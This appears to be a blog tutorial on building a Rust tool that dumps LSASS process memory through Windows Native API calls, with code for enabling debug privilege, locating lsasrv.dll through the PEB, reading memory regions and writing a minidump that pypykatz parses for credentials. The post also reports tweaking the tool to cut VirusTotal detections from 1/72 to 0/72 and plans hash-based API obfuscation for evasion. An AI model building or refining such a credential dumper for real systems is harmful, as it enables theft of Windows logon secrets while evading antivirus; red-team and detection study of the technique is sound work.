Using low-level Windows Native API functions dump LSASS process memory
Prerequisites: Enabling SeDebugPrivilege
Since lsass.exe
is a protected system process, we must first enable the SeDebugPrivilege
to gain the necessary permissions. This privilege allows our process to open handles to protected processes and read their memory.
Step 1: Enumerating Running Processes
We use the NtQuerySystemInformation
API with the SystemProcessInformation
(value: 5) information class to retrieve an array of SYSTEM_PROCESS_INFORMATION
structures containing details about all running processes. Replace using CreateToolhelp32Snapshot
create snapshot.
let status = unsafe {
NtQuerySystemInformation(
5, // SystemProcessInformation
buffer.as_mut_ptr() as *mut c_void,
length,
&mut length,
)
};
The SYSTEM_PROCESS_INFORMATION structure contains various process details, including the process name stored in Unicode format:
pub struct SystemProcessInformation {
...
pub image_name: UnicodeString,
...
}
I iterate through the returned structures in a while loop, searching for the process with the image name matching "lsass.exe".
To make the process names human-readable, we convert the Unicode strings to standard Rust strings. This conversion will later be replaced with DJB2 hash-based obfuscation for evasion purposes.
if !name_addr.is_null() && name_len > 0 {
let wide_slice: &[u16] = core::slice::from_raw_parts(
name_addr as *const u16,
(name_len / 2) as usize
);
let os = std::ffi::OsString::from_wide(wide_slice);
let name = os.to_string_lossy().into_owned();
// println!("Process name = {}", name);
// println!("Name Addr: {:?}", name_addr);
// println!("Name len: {}", name_len);
...
}
Step 2: Querying LSASS Process Information
Once we obtain a handle to the lsass.exe
process, we need to locate the lsasrv.dll
module, which contains the credential storage mechanisms. We use NtQueryInformationProcess
with the ProcessBasicInformation
class (value: 0) to retrieve the Process Environment Block (PEB) address.
Use NtQueryInformationProcess
query lsass.exe process information
let mut status = unsafe {
NtQueryInformationProcess(
process_handle as *mut c_void,
0, // ProcessBasicInformation
&mut process_information as *mut _ as *mut c_void,
core::mem::size_of::<ProcessBasicInformation>() as u32,
&mut return_length,
)
};
Step 3: Traversing the PEB to Find lsasrv.dll
Since we're querying another process's memory space, we cannot directly access its PEB. Instead, we must read the target process's virtual memory using NtReadVirtualMemory
. By traversing the PEB structure and reading the loader data structures, we can enumerate loaded modules and locate lsasrv.dll
.
let status = unsafe {
NtReadVirtualMemory(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
Step 4: Querying Virtual Memory Information
After locating the lsasrv.dll
base address, we use NtQueryVirtualMemory
to retrieve detailed information about the memory regions.
let result = unsafe {
NtQueryVirtualMemory(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
null_mut()
)
};
Understanding Windows Virtual Memory Structure
Windows virtual memory is organized into pages, with the standard page size being 4KB (0x1000 bytes). A process's virtual address space is divided into numerous pages, each with its own state, protection attributes, and base address.
MEMORY_BASIC_INFORMATION Structure
When calling VirtualQueryEx
(or NtQueryVirtualMemory
), the system returns a MEMORY_BASIC_INFORMATION
structure containing critical fields:
- BaseAddress: The starting virtual address of the memory region
- RegionSize: The size of this region (typically multiple pages combined)
-
State:
The allocation state of the memory:-
MEM_COMMIT
: Memory is allocated and backed by physical pages (accessible) -
MEM_RESERVE
: Address space is reserved but not backed by physical memory -
MEM_FREE
: Memory is not allocated
-
-
Protect: Access permissions for the pages:
-
PAGE_NOACCESS
: No access allowed -
PAGE_READONLY
: Read-only access -
PAGE_READWRITE
: Read and write access -
PAGE_EXECUTE_READWRITE
: Execute, read, and write access -
PAGE_GUARD
: Guard page for debugging or exception triggering
-
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
let result = unsafe {
NtQueryVirtualMemory(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
null_mut()
)
};
Step 5: Filtering Valid Memory Regions
We establish the boundaries for memory scanning:
// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // Maximum user-mode
We need to skip unreadable or unallocated memory blocks. We only process memory regions that are committed (MEM_COMMIT) and have at least some access permissions (not PAGE_NOACCESS).
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
...
}
Handling Memory Region Boundaries
NtQueryVirtualMemory
returns a region that may contain one or multiple pages. Sometimes a region is only one page size (0x1000 bytes), which typically indicates:
- Special protection boundaries
- Guard pages
- Specific allocation patterns
When performing memory dumps or module scanning, we need to merge adjacent regions to correctly capture complete modules.
Region Merging Logic
We check if region_size
equals 0x1000. If so, this typically indicates the beginning of a new module. We then accumulate subsequent regions. Finally, we use NtReadVirtualMemory
to convert the memory region into raw bytes and write them to our dump buffer.
Step 6: Creating a Minidump File
The final step involves constructing a binary file similar to a Windows minidump (MDMP format) with the following structure:
- Header (fixed 32 bytes, including signature "MDMP")
- Stream Directory (each stream entry = 12 bytes: streamType (u32), size (u32), offset (u32))
- SystemInfo Stream (fixed 56 bytes implementation, varies by OS version)
- ModuleList Stream (contains module entries + module path blocks)
- Memory64List Stream (contains memory-region list + offset pointing to actual memory bytes)
- regions_memdump (actual memory bytes read, placed at the end of the file)
Testing and Results
We can verify the dump file using pypykatz:
C:\> pypykatz lsa minidump hello.dmp
Examining the Import Address Table (IAT)
Using PeStudio to inspect the IAT reveals the imported functions:
The detection is likely due to not implementing DJB2 or other hash-based obfuscation methods for API calls.
Antivirus Evasion Results
Initial VirusTotal scan detected 1/72:
However, rule-based detection systems are relatively easy to bypass. After minor modifications and re-uploading, the detection rate dropped to 0/72:
Top comments (0)